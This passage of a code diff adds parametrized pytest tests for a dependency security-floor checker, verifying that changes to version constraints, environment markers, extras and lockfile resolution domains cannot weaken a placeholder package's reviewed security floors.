+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("danger", before)],
+ head_packages=[("danger", after)],
+ base_optional_groups=base_optional,
+ head_optional_groups=head_optional,
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_build_constraints=base_build,
+ head_build_constraints=head_build,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ base_resolution_markers={("danger", before): [resolution]},
+ head_resolution_markers={("danger", after): [resolution]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime", True, id="existing-published-marker-can-split-into-supported-domains"),
+ pytest.param("optional", True, id="existing-optional-marker-can-split-within-original-group"),
+ pytest.param("constraint", True, id="existing-uv-constraint-marker-can-split-within-original-scope"),
+ pytest.param("group", True, id="existing-development-marker-can-split-within-original-group"),
+ pytest.param("implicit-lower", True, id="marked-split-can-use-implicit-supported-python-lower-bound"),
+ pytest.param("gap", False, id="marked-split-cannot-drop-supported-original-resolution-domain"),
+ pytest.param("widened", False, id="marked-split-cannot-widen-outside-original-marker"),
+ pytest.param("overlap", False, id="marked-split-cannot-overlap-supported-resolution-subdomains"),
+ pytest.param("partial", False, id="marked-split-cannot-cover-only-one-supported-platform"),
+ pytest.param("weakened", False, id="marked-split-cannot-lower-original-security-floor"),
+ pytest.param("upper-removed", False, id="marked-split-cannot-remove-existing-upper-bound"),
+ pytest.param("exclusion-removed", False, id="marked-split-cannot-remove-existing-wildcard-exclusion"),
+ pytest.param("moved-group", False, id="marked-split-cannot-move-existing-optional-group"),
+ pytest.param("moved-extra", False, id="marked-split-cannot-replace-original-requested-extra"),
+ ],
+)
+def test_security_floors_can_safely_split_existing_marked_resolution_domains(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ original = "danger>=1,<3,!=2.0.*; python_version < '3.14'"
+ low = "danger>=1.6,<3,!=2.0.*; python_version >= '3.10' and python_version < '3.11'"
+ high = "danger>=2.6,<3,!=2.0.*; python_version >= '3.11' and python_version < '3.14'"
+ scope = variant if variant in {"optional", "constraint", "group"} else "runtime"
+
+ if variant == "implicit-lower":
+ low = "danger>=1.6,<3,!=2.0.*; python_version < '3.11'"
+ elif variant == "gap":
+ low = ""
+ elif variant == "widened":
+ high = "danger>=2.6,<3,!=2.0.*; python_version >= '3.11'"
+ elif variant == "overlap":
+ low = "danger>=1.6,<3,!=2.0.*; python_version >= '3.10' and python_version < '3.12'"
+ elif variant == "partial":
+ low += " and sys_platform == 'linux'"
+ elif variant == "weakened":
+ low = "danger>=0.9,<3,!=2.0.*; python_version >= '3.10' and python_version < '3.11'"
+ elif variant == "upper-removed":
+ low = low.replace(",<3", "")
+ elif variant == "exclusion-removed":
+ low = low.replace(",!=2.0.*", "")
+ elif variant == "moved-extra":
+ original = original.replace("danger>=", "danger[secure]>=")
+ low = low.replace("danger>=", "danger[other]>=")
+ high = high.replace("danger>=", "danger[other]>=")
+
+ replacements = [value for value in (low, high) if value]
+ base_requirements = [original] if scope == "runtime" else []
+ head_requirements = replacements if scope == "runtime" else []
+ base_optional = {"feature": [original]} if scope == "optional" or variant == "moved-group" else None
+ head_optional = (
+ {"different": replacements}
+ if variant == "moved-group"
+ else {"feature": replacements}
+ if scope == "optional"
+ else None
+ )
+ if variant == "moved-group":
+ base_requirements = head_requirements = []
+ base_constraints = [original] if scope == "constraint" else None
+ head_constraints = replacements if scope == "constraint" else None
+ base_groups = {"reviewed": [original]} if scope == "group" else None
+ head_groups = {"reviewed": replacements} if scope == "group" else None
+ low_domain = "python_full_version >= '3.10' and python_full_version < '3.11'"
+ high_domain = "python_full_version >= '3.11'"
+ if scope in {"constraint", "group"}:
+ high_domain += " and python_full_version < '3.14'"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("danger", "1.5"), ("danger", "2.5")],
+ head_packages=[("danger", "1.6"), ("danger", "2.6")],
+ base_optional_groups=base_optional,
+ head_optional_groups=head_optional,
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ base_resolution_markers={("danger", "1.5"): [low_domain], ("danger", "2.5"): [high_domain]},
+ head_resolution_markers={("danger", "1.6"): [low_domain], ("danger", "2.6"): [high_domain]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("both", True, id="every-supported-major-can-receive-security-patch-together"),
+ pytest.param("missing-v1-exclusion", False, id="joint-patch-must-exclude-entire-vulnerable-v1-series"),
+ pytest.param("missing-v2-exclusion", False, id="joint-patch-must-exclude-entire-vulnerable-v2-series"),
+ pytest.param("drops-patched-v1", False, id="joint-patch-cannot-exclude-other-patched-supported-major"),
+ pytest.param("unchanged-v1-floor", False, id="joint-patch-must-raise-preexisting-v1-security-floor"),
+ pytest.param("unchanged-v2-floor", False, id="joint-patch-must-raise-preexisting-v2-security-floor"),
+ pytest.param("missing-old-group", False, id="joint-patch-cannot-trust-newly-added-protected-context"),
+ pytest.param("removed-group", False, id="joint-patch-cannot-remove-existing-supported-major-context"),
+ pytest.param("missing-upper", False, id="joint-patch-must-preserve-independent-branch-upper-bound"),
+ pytest.param("downgrade", False, id="joint-patch-cannot-downgrade-one-supported-major"),
+ pytest.param("removed-branch", False, id="joint-patch-cannot-remove-one-supported-locked-major"),
+ pytest.param("single-branch", False, id="published-exclusion-path-requires-distinct-supported-peer"),
+ ],
+)
+def test_security_updates_can_patch_all_independent_supported_major_branches(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ published = "danger>=1.5,<3"
+ exclusions = ["!=1.5.*", *("!=2." + str(minor) + ".*" for minor in range(6))]
+ updated_published = published + "," + ",".join(exclusions)
+ base_groups = {
+ "danger-v1": ["danger>=1.5,<2"],
+ "danger-v2": ["danger>=2.5,<3"],
+ }
+ head_groups = {
+ "danger-v1": ["danger>=1.6,<2"],
+ "danger-v2": ["danger>=2.6,<3"],
+ }
+ previous = [("danger", "1.5"), ("danger", "2.5")]
+ current = [("danger", "1.6"), ("danger", "2.6")]
+
+ if variant == "missing-v1-exclusion":
+ updated_published = updated_published.replace(",!=1.5.*", "")
+ elif variant == "missing-v2-exclusion":
+ updated_published = updated_published.replace(",!=2.4.*", "")
+ elif variant == "drops-patched-v1":
+ updated_published += ",!=1.6.*"
+ elif variant == "unchanged-v1-floor":
+ head_groups["danger-v1"] = ["danger>=1.5,<2"]
+ elif variant == "unchanged-v2-floor":
+ head_groups["danger-v2"] = ["danger>=2.5,<3"]
+ elif variant == "missing-old-group":
+ base_groups.pop("danger-v2")
+ elif variant == "removed-group":
+ head_groups.pop("danger-v2")
+ elif variant == "missing-upper":
+ head_groups["danger-v2"] = ["danger>=2.6"]
+ elif variant == "downgrade":
+ current[1] = ("danger", "2.4")
+ elif variant == "removed-branch":
+ current = [("danger", "2.6")]
+ elif variant == "single-branch":
+ base_groups.pop("danger-v2")
+ head_groups.pop("danger-v2")
+ previous = [("danger", "1.5")]
+ current = [("danger", "1.6")]
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[published],
+ head_requirements=[updated_published],
+ base_packages=previous,
+ head_packages=current,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("unchanged", True, id="independent-overlapping-or-sources-can-remain-unchanged"),
+ pytest.param("raised", True, id="independent-overlapping-or-sources-can-both-raise-their-floor"),
+ pytest.param("widened", False, id="overlapping-source-cannot-borrow-another-source-to-widen"),
+ pytest.param("dropped", False, id="overlapping-source-cannot-drop-its-own-original-marker-arm"),
+ pytest.param("swapped-floor", False, id="overlapping-sources-cannot-swap-a-lower-security-floor"),
+ pytest.param("removed-source", False, id="overlapping-sources-cannot-remove-independent-source"),
+ ],
+)
+def test_security_marker_source_lineage_preserves_independent_overlapping_declarations(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ shared = "sys_platform == 'linux'"
+ low = "python_version < '3.11'"
+ high = "python_version >= '3.11'"
+ base = ["danger>=1; " + shared + " or " + low, "danger>=2; " + shared + " or " + high]
+ head = ["danger>=3; " + shared + " or " + low, "danger>=3; " + shared + " or " + high]
+ before, after = "2", "3"
+ if variant == "unchanged":
+ head = list(base)
+ after = before
+ elif variant == "widened":
+ head[0] += " or os_name == 'nt'"
+ elif variant == "dropped":
+ head[0] = "danger>=3; " + shared
+ elif variant == "swapped-floor":
+ base = ["danger>=2; " + shared + " or " + low, "danger>=3; " + shared + " or " + high]
+ head = ["danger>=3; " + shared + " or " + low, "danger>=2; " + shared + " or " + high]
+ before = after = "3"
+ elif variant == "removed-source":
+ head.pop()
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base,
+ head_requirements=head,
+ base_packages=[("danger", before)],
+ head_packages=[("danger", after)],
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ "variant",
+ [
+ pytest.param("disjoint", id="unbounded-protected-source-cannot-move-to-disjoint-domain"),
+ pytest.param("removed", id="unbounded-protected-source-cannot-disappear-entirely"),
+ pytest.param("widened", id="unbounded-protected-source-cannot-gain-unreviewed-domain"),
+ pytest.param("add-protected", id="retained-protected-source-cannot-add-unbounded-disjoint-source"),
+ pytest.param("add-runtime", id="retained-runtime-source-cannot-add-unbounded-disjoint-source"),
+ ],
+)
+def test_unbounded_protected_marker_sources_preserve_their_reviewed_domain(tmp_path: Path, variant: str) -> None:
+ original = "danger; python_version < '3.11' or sys_platform == 'linux'"
+ if variant == "disjoint":
+ updated = ["danger; python_version >= '3.11' and sys_platform != 'linux'"]
+ elif variant == "removed":
+ updated = []
+ elif variant in {"add-protected", "add-runtime"}:
+ updated = [original, "danger; os_name == 'nt'"]
+ else:
+ updated = [original + " or os_name == 'nt'"]
+ runtime = variant == "add-runtime"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[original] if runtime else [],
+ head_requirements=updated if runtime else [],
+ base_packages=[("danger", "2")],
+ head_packages=[("danger", "2")],
+ base_dependency_groups=None if runtime else {"reviewed": [original]},
+ head_dependency_groups=None if runtime else {"reviewed": updated},
+ )
+ assert result.returncode == 1, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("runtime", True, id="published-or-source-can-split-into-independently-raised-arms"),
+ pytest.param("group", True, id="protected-or-source-can-split-into-independently-raised-arms"),
+ pytest.param("drop", False, id="or-source-partition-cannot-drop-original-supported-arm"),
+ pytest.param("widen", False, id="or-source-partition-cannot-widen-beyond-original-union"),
+ pytest.param("lower", False, id="or-source-partition-cannot-lower-any-original-floor"),
+ pytest.param("overlap", False, id="or-source-partition-cannot-overlap-independent-replacements"),
+ ],
+)
+def test_security_marker_disjunction_can_split_into_reviewed_source_declarations(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ low = "python_version < '3.11'"
+ high = "python_version >= '3.11' and python_version < '3.14'"
+ original = "danger>=1,<3; " + low + " or " + high
+ first = "danger>=1.6,<3; " + low
+ second = "danger>=2.6,<3; " + high
+ if variant == "drop":
+ second = ""
+ elif variant == "widen":
+ second = "danger>=2.6,<3; python_version >= '3.11'"
+ elif variant == "lower":
+ second = "danger>=0.5,<3; " + high
+ elif variant == "overlap":
+ first = "danger>=1.6,<3; python_version < '3.12'"
+ updated = [value for value in (first, second) if value]
+ protected = variant == "group"
+ low_domain = "python_full_version < '3.11'"
+ high_domain = "python_full_version >= '3.11' and python_full_version < '3.14'"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [original],
+ head_requirements=[] if protected else updated,
+ base_packages=[("danger", "1.5"), ("danger", "2.5")],
+ head_packages=[("danger", "1.6"), ("danger", "2.6")],
+ base_dependency_groups={"reviewed": [original]} if protected else None,
+ head_dependency_groups={"reviewed": updated} if protected else None,
+ base_resolution_markers={("danger", "1.5"): [low_domain], ("danger", "2.5"): [high_domain]},
+ head_resolution_markers={("danger", "1.6"): [low_domain], ("danger", "2.6"): [high_domain]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+def test_direct_disjunction_preserves_symbolic_extra_markers(tmp_path: Path) -> None:
+ marker = "extra == 'feature' or sys_platform == 'win32'"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["danger[secure]>=1; " + marker],
+ head_requirements=["danger[secure]>=2; " + marker],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ )
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("reviewed", True, id="new-extra-can-review-exact-newly-exposed-locked-package"),
+ pytest.param("fake-extra", False, id="unrelated-new-extra-cannot-approve-different-protected-source"),
+ pytest.param("wrong-marker", False, id="new-extra-review-boundary-must-cover-actual-exposed-marker"),
+ pytest.param("low-floor", False, id="new-extra-review-boundary-must-reach-actual-locked-release"),
+ pytest.param("floorless", False, id="new-extra-cannot-approve-unbounded-protected-source"),
+ ],
+)
+def test_requested_extra_source_exceptions_validate_the_exact_exposed_package(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ marker = "python_version >= '3.11'"
+ requirement = "danger>=2; " + marker
+ target = "danger"
+ packages = [("parent", "1"), ("danger", "2")]
+ groups = {"reviewed": ["danger"]}
+ constraints: list[str]
+
+ if variant == "wrong-marker":
+ requirement = "danger>=2; python_version < '3.11'"
+ elif variant == "low-floor":
+ requirement = "danger>=1; " + marker
+ elif variant == "floorless":
+ requirement = "danger; " + marker
+ elif variant == "fake-extra":
+ target = "safe-plugin"
+ packages.append(("safe-plugin", "1"))
+ groups["reviewed"].append("safe-plugin")
+
+ constraints = [requirement]
+ if variant == "fake-extra":
+ constraints.append("safe-plugin>=1")
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {"feature": [{"name": target}]}
+ }
+ domains = {("danger", "2"): ["python_full_version >= '3.11'"]}
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["parent"],
+ head_requirements=["parent", "parent[feature]; " + marker],
+ base_packages=packages,
+ head_packages=packages,
+ base_dependency_groups=groups,
+ head_dependency_groups=groups,
+ head_constraints=constraints,
+ base_resolution_markers=domains,
+ head_resolution_markers=domains,
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("transitive-refined", True, id="unchanged-transitive-broad-domain-can-refine-semantically"),
+ pytest.param("transitive-coalesced", True, id="unchanged-transitive-split-domains-can-coalesce-semantically"),
+ pytest.param("direct-refined", True, id="unchanged-direct-release-can-refine-its-lock-domain"),
+ pytest.param("protected-refined", True, id="unchanged-protected-release-can-refine-its-lock-domain"),
+ pytest.param("protected-coalesced", True, id="unchanged-protected-release-can-coalesce-lock-domains"),
+ pytest.param("platform-refined", True, id="equivalent-platform-complements-preserve-original-domain"),
+ pytest.param("membership-refined", True, id="equivalent-membership-alternatives-preserve-domain"),
+ pytest.param("independent-majors", True, id="domain-refinement-preserves-coexisting-supported-majors"),
+ pytest.param("reviewed-upgrade", True, id="refined-upgrade-remains-covered-by-reviewed-security-floor"),
+ pytest.param("complementary-upgrade", True, id="refined-upgrade-accepts-complementary-reviewed-floors"),
+ pytest.param("unreviewed-upgrade", False, id="domain-refinement-cannot-hide-unreviewed-upgraded-release"),
+ pytest.param("partial-upgrade", False, id="reviewed-floor-cannot-cover-only-one-refined-domain"),
+ pytest.param("gap", False, id="semantic-refinement-cannot-drop-an-original-resolution-region"),
+ pytest.param("widened", False, id="semantic-refinement-cannot-add-an-unreviewed-resolution-region"),
+ pytest.param("swapped", False, id="semantic-refinement-cannot-swap-releases-across-domains"),
+ pytest.param("unbounded", False, id="unbounded-common-resolution-refinement-fails-closed"),
+ ],
+)
+def test_security_resolution_domains_compare_semantic_release_coverage(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ broad = "python_full_version < '3.12'"
+ low = "python_full_version < '3.11'"
+ high = "python_full_version >= '3.11' and python_full_version < '3.12'"
+ previous = [("danger", "2")]
+ current = [("danger", "2")]
+ base_markers: dict[tuple[str, str], list[str]] = {("danger", "2"): [broad]}
+ head_markers: dict[tuple[str, str], list[str]] = {("danger", "2"): [low, high]}
+ base_requirements = ["patch-me>=1"]
+ head_requirements = ["patch-me>=1.1"]
+ base_constraints: list[str] | None = None
+ head_constraints: list[str] | None = None
+
+ if variant in {"transitive-coalesced", "protected-coalesced"}:
+ base_markers, head_markers = head_markers, base_markers
+ if variant == "direct-refined":
+ base_requirements.append("danger>=2")
+ head_requirements.append("danger>=2")
+ elif variant in {"protected-refined", "protected-coalesced"}:
+ base_constraints = ["danger>=2"]
+ head_constraints = ["danger>=2"]
+ elif variant == "platform-refined":
+ head_markers = {
+ ("danger", "2"): [broad + " and sys_platform == 'linux'", broad + " and sys_platform != 'linux'"]
+ }
+ elif variant == "membership-refined":
+ base_markers = {("danger", "2"): ["python_version in '3.10, 3.11'"]}
+ head_markers = {
+ ("danger", "2"): ["python_version == '3.1'", "python_version == '3.10'", "python_version == '3.11'"]
+ }
+ elif variant == "independent-majors":
+ previous = current = [("danger", "1.5"), ("danger", "2.5")]
+ base_markers = {(name, release): [broad] for name, release in previous}
+ head_markers = {(name, release): [low, high] for name, release in current}
+ elif variant in {"reviewed-upgrade", "complementary-upgrade", "unreviewed-upgrade", "partial-upgrade"}:
+ current = [("danger", "3")]
+ head_markers = {("danger", "3"): [low, high]}
+ if variant == "reviewed-upgrade":
+ head_constraints = ["danger>=3"]
+ elif variant == "complementary-upgrade":
+ head_constraints = ["danger>=3; python_version < '3.11'", "danger>=3; python_version >= '3.11'"]
+ elif variant == "partial-upgrade":
+ head_constraints = ["danger>=3; python_version < '3.11'"]
+ elif variant == "gap":
+ head_markers = {("danger", "2"): [low]}
+ elif variant == "widened":
+ head_markers = {("danger", "2"): [low, high, "python_full_version >= '3.12'"]}
+ elif variant == "swapped":
+ previous = [("danger", "1"), ("danger", "2")]
+ current = [("danger", "1"), ("danger", "2")]
+ base_markers = {("danger", "1"): [low], ("danger", "2"): [high]}
+ head_markers = {("danger", "1"): [high], ("danger", "2"): [low]}
+ elif variant == "unbounded":
+ head_markers = {
+ ("danger", "2"): [broad + " and sys_platform == 'platform" + str(index) + "'" for index in range(129)]
+ }
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch-me", "1"), *previous],
+ head_packages=[("patch-me", "1.1"), *current],
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_resolution_markers=base_markers,
+ head_resolution_markers=head_markers,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("unrelated-root", True, id="new-extra-does-not-review-unrelated-runtime-root-transitive"),
+ pytest.param("same-parent-normal", True, id="new-extra-does-not-review-parent-normal-dependency"),
+ pytest.param("related-unreviewed", False, id="package-actually-reachable-from-new-extra-needs-review"),
+ pytest.param("related-reviewed", True, id="reviewed-extra-package-does-not-impose-unrelated-bound"),
+ pytest.param("wrong-audience", False, id="extra-review-must-intersect-actual-requested-audience"),
+ pytest.param("partial-platform", False, id="extra-review-cannot-cover-only-one-exposed-platform"),
+ pytest.param("complementary-platform", True, id="complementary-extra-reviews-cover-all-exposed-platforms"),
+ pytest.param("wrong-root", False, id="review-on-unrelated-root-cannot-secure-actual-extra-package"),
+ pytest.param("low-floor", False, id="actual-extra-review-floor-must-reach-selected-release"),
+ ],
+)
+def test_requested_extra_review_only_covers_packages_reachable_through_that_extra(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ base_requirements = ["patch-me>=1", "parent"]
+ head_requirements = ["patch-me>=1.1", "parent", "parent[feature]"]
+ previous = [("patch-me", "1"), ("parent", "1")]
+ current = [("patch-me", "1.1"), ("parent", "1"), ("unrelated", "1")]
+ head_edges: dict[tuple[str, str], list[dict[str, object]]] = {("patch-me", "1.1"): [{"name": "unrelated"}]}
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {("parent", "1"): {"feature": []}}
+ constraints: list[str] | None = None
+ markers: dict[tuple[str, str], list[str]] | None = None
+
+ if variant == "same-parent-normal":
+ head_edges = {("parent", "1"): [{"name": "unrelated"}]}
+ elif variant not in {"unrelated-root", "same-parent-normal"}:
+ current.append(("extra-package", "2"))
+ optional[("parent", "1")]["feature"].append({"name": "extra-package"})
+ markers = {("extra-package", "2"): ["python_full_version >= '3.10'"]}
+ if variant == "related-reviewed":
+ constraints = ["extra-package>=2"]
+ elif variant == "wrong-audience":
+ head_requirements[-1] += "; python_version >= '3.11'"
+ constraints = ["extra-package>=2; python_version < '3.11'"]
+ elif variant == "partial-platform":
+ constraints = ["extra-package>=2; sys_platform == 'linux'"]
+ elif variant == "complementary-platform":
+ constraints = [
+ "extra-package>=2; sys_platform == 'linux'",
+ "extra-package>=2; sys_platform != 'linux'",
+ ]
+ elif variant == "wrong-root":
+ constraints = ["unrelated>=1"]
+ elif variant == "low-floor":
+ constraints = ["extra-package>=1"]
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=previous,
+ head_packages=current,
+ head_constraints=constraints,
+ head_resolution_markers=markers,
+ head_lock_dependencies=head_edges,
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("substring", True, id="platform-membership-covers-actual-arm-substring"),
+ pytest.param("complete-token", True, id="platform-membership-still-covers-complete-token"),
+ pytest.param("overlapping-prefix", True, id="overlapping-platform-membership-covers-shorter-token"),
+ pytest.param("overlapping-long", True, id="overlapping-platform-membership-covers-longer-token"),
+ pytest.param("overlapping-short", True, id="overlapping-platform-membership-covers-hidden-short-substring"),
+ pytest.param("overlapping-negative", False, id="negative-overlapping-membership-excludes-shared-prefix"),
+ pytest.param("overlapping-negative-outside", True, id="negative-overlapping-membership-retains-outside-value"),
+ pytest.param("overlapping-case-sensitive", False, id="overlapping-platform-membership-preserves-quoted-case"),
+ pytest.param("overlapping-resolution", True, id="overlapping-platform-resolution-membership-remains-supported"),
+ pytest.param("overlapping-complement", True, id="overlapping-membership-and-complement-cover-every-substring"),
+ pytest.param(
+ "overlapping-dropped-complement", False, id="overlapping-membership-cannot-drop-complement-substrings"
+ ),
+ pytest.param(
+ "overlapping-dropped-substrings", False, id="overlapping-token-split-cannot-drop-hidden-substrings"
+ ),
+ pytest.param("duplicate-token", False, id="platform-membership-still-rejects-duplicate-tokens"),
+ pytest.param("empty-token", False, id="platform-membership-still-rejects-empty-tokens"),
+ pytest.param("unbounded-tokens", False, id="platform-membership-still-rejects-too-many-tokens"),
+ pytest.param("case-sensitive", False, id="platform-membership-keeps-quoted-case"),
+ pytest.param("negative-substring", False, id="negative-membership-rejects-an-actual-substring"),
+ pytest.param("negative-outside", True, id="negative-membership-keeps-values-outside-the-string"),
+ pytest.param("mixed-complement", True, id="membership-and-negative-complement-intersect-exactly"),
+ pytest.param("mixed-complement-rejected", False, id="negative-membership-removes-an-actual-substring"),
+ pytest.param("complement-partition", True, id="membership-and-complement-fully-partition-original-domain"),
+ pytest.param("dropped-complement", False, id="missing-membership-complement-cannot-drop-original-contexts"),
+ pytest.param("dropped-substrings", False, id="equality-split-cannot-drop-original-membership-substrings"),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_platform_membership_markers_preserve_pep508_substring_domains(
+ tmp_path: Path, variant: str, accepted: bool, protected: bool
+) -> None:
+ expression = "platform_machine in 'arm64, x86_64'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = ["platform_machine == 'arm'"]
+ new_domains = list(old_domains)
+
+ if variant == "complete-token":
+ old_domains = new_domains = ["platform_machine == 'arm64'"]
+ elif variant in {
+ "overlapping-prefix",
+ "overlapping-long",
+ "overlapping-short",
+ "overlapping-negative",
+ "overlapping-negative-outside",
+ "overlapping-case-sensitive",
+ }:
+ negative = variant in {"overlapping-negative", "overlapping-negative-outside"}
+ expression = "platform_machine " + ("not in" if negative else "in") + " 'arm, arm64'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ if variant == "overlapping-long":
+ old_domains = new_domains = ["platform_machine == 'arm64'"]
+ elif variant == "overlapping-short":
+ old_domains = new_domains = ["platform_machine == 'a'"]
+ elif variant == "overlapping-negative-outside":
+ old_domains = new_domains = ["platform_machine == 'aarch64'"]
+ elif variant == "overlapping-case-sensitive":
+ old_domains = new_domains = ["platform_machine == 'ARM'"]
+ elif variant == "overlapping-resolution":
+ expression = "platform_machine != 'aarch64'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ old_domains = new_domains = ["platform_machine in 'arm, arm64'"]
+ elif variant in {"overlapping-complement", "overlapping-dropped-complement"}:
+ expression = "platform_machine in 'arm, arm64'"
+ original = "danger>=1; " + expression
+ included = expression + " and platform_machine in 'arm64'"
+ excluded = expression + " and platform_machine not in 'arm64'"
+ updated = ["danger>=2; " + excluded]
+ old_domains = [expression]
+ new_domains = [excluded]
+ if variant == "overlapping-complement":
+ updated.append("danger>=2; " + included)
+ new_domains.append(included)
+ elif variant == "overlapping-dropped-substrings":
+ expression = "platform_machine in 'arm, arm64'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; platform_machine == 'arm'", "danger>=2; platform_machine == 'arm64'"]
+ old_domains = [expression]
+ new_domains = ["platform_machine == 'arm'", "platform_machine == 'arm64'"]
+ elif variant in {"duplicate-token", "empty-token", "unbounded-tokens"}:
+ values = "arm, arm" if variant == "duplicate-token" else "arm,,arm64"
+ if variant == "unbounded-tokens":
+ values = ", ".join("arm" + str(index) for index in range(17))
+ expression = "platform_machine in '" + values + "'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ elif variant == "case-sensitive":
+ old_domains = new_domains = ["platform_machine == 'ARM'"]
+ elif variant in {"negative-substring", "negative-outside"}:
+ expression = "platform_machine not in 'arm64, x86_64'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ if variant == "negative-outside":
+ old_domains = new_domains = ["platform_machine == 'aarch64'"]
+ elif variant in {"mixed-complement", "mixed-complement-rejected"}:
+ expression = "platform_machine in 'arm64, x86_64' and platform_machine not in 'x86_64'"
+ original = "danger>=1; " + expression
+ updated = ["danger>=2; " + expression]
+ if variant == "mixed-complement-rejected":
+ old_domains = new_domains = ["platform_machine == 'x86'"]
+ elif variant in {"complement-partition", "dropped-complement"}:
+ included = expression + " and platform_machine in 'x86_64'"
+ excluded = expression + " and platform_machine not in 'x86_64'"
+ updated = ["danger>=2; " + excluded]
+ old_domains = [expression]
+ new_domains = [excluded]
+ if variant == "complement-partition":
+ updated.append("danger>=2; " + included)
+ new_domains.append(included)
+ elif variant == "dropped-substrings":
+ updated = [
+ "danger>=2; platform_machine == 'arm64'",
+ "danger>=2; platform_machine == 'x86_64'",
+ ]
+ old_domains = [expression]
+ new_domains = ["platform_machine == 'arm64'", "platform_machine == 'x86_64'"]
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [original],
+ head_requirements=[] if protected else updated,
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[original] if protected else None,
+ head_constraints=updated if protected else None,
+ base_resolution_markers={("danger", "1"): old_domains},
+ head_resolution_markers={("danger", "2"): new_domains},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "release", "membership"),
+ [
+ pytest.param("platform_release in 'arm64'", "6", "arm64", id="string-membership-keeps-numeric-substring"),
+ pytest.param(
+ "platform_release not in 'arm64'", "6", "arm64", id="negative-membership-rejects-numeric-substring"
+ ),
+ pytest.param("platform_release in 'arm64, x86_64'", "6", "arm64", id="membership-preserves-entire-raw-string"),
+ pytest.param(
+ "platform_release == '6.0' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="normalized-equality-keeps-raw-substring-witness",
+ ),
+ pytest.param(
+ "platform_release == '6' and platform_release in 'v6' and platform_release not in '6'",
+ "v6",
+ "v6",
+ id="v-prefixed-raw-alias-survives-negative-membership",
+ ),
+ pytest.param(
+ "platform_release == '6a0' and platform_release in '6a'",
+ "6a",
+ "6a",
+ id="missing-prerelease-serial-normalizes-without-losing-raw-spelling",
+ ),
+ pytest.param(
+ "platform_release == '6a1' and platform_release in '6alpha1'",
+ "6alpha1",
+ "6alpha1",
+ id="prerelease-stage-alias-normalizes-without-losing-raw-spelling",
+ ),
+ pytest.param(
+ "platform_release == '6.post0' and platform_release in '6.post'",
+ "6.post",
+ "6.post",
+ id="missing-postrelease-serial-normalizes-without-losing-raw-spelling",
+ ),
+ pytest.param(
+ "platform_release == '6.post1' and platform_release in '6-1'",
+ "6-1",
+ "6-1",
+ id="implicit-postrelease-normalizes-without-losing-raw-spelling",
+ ),
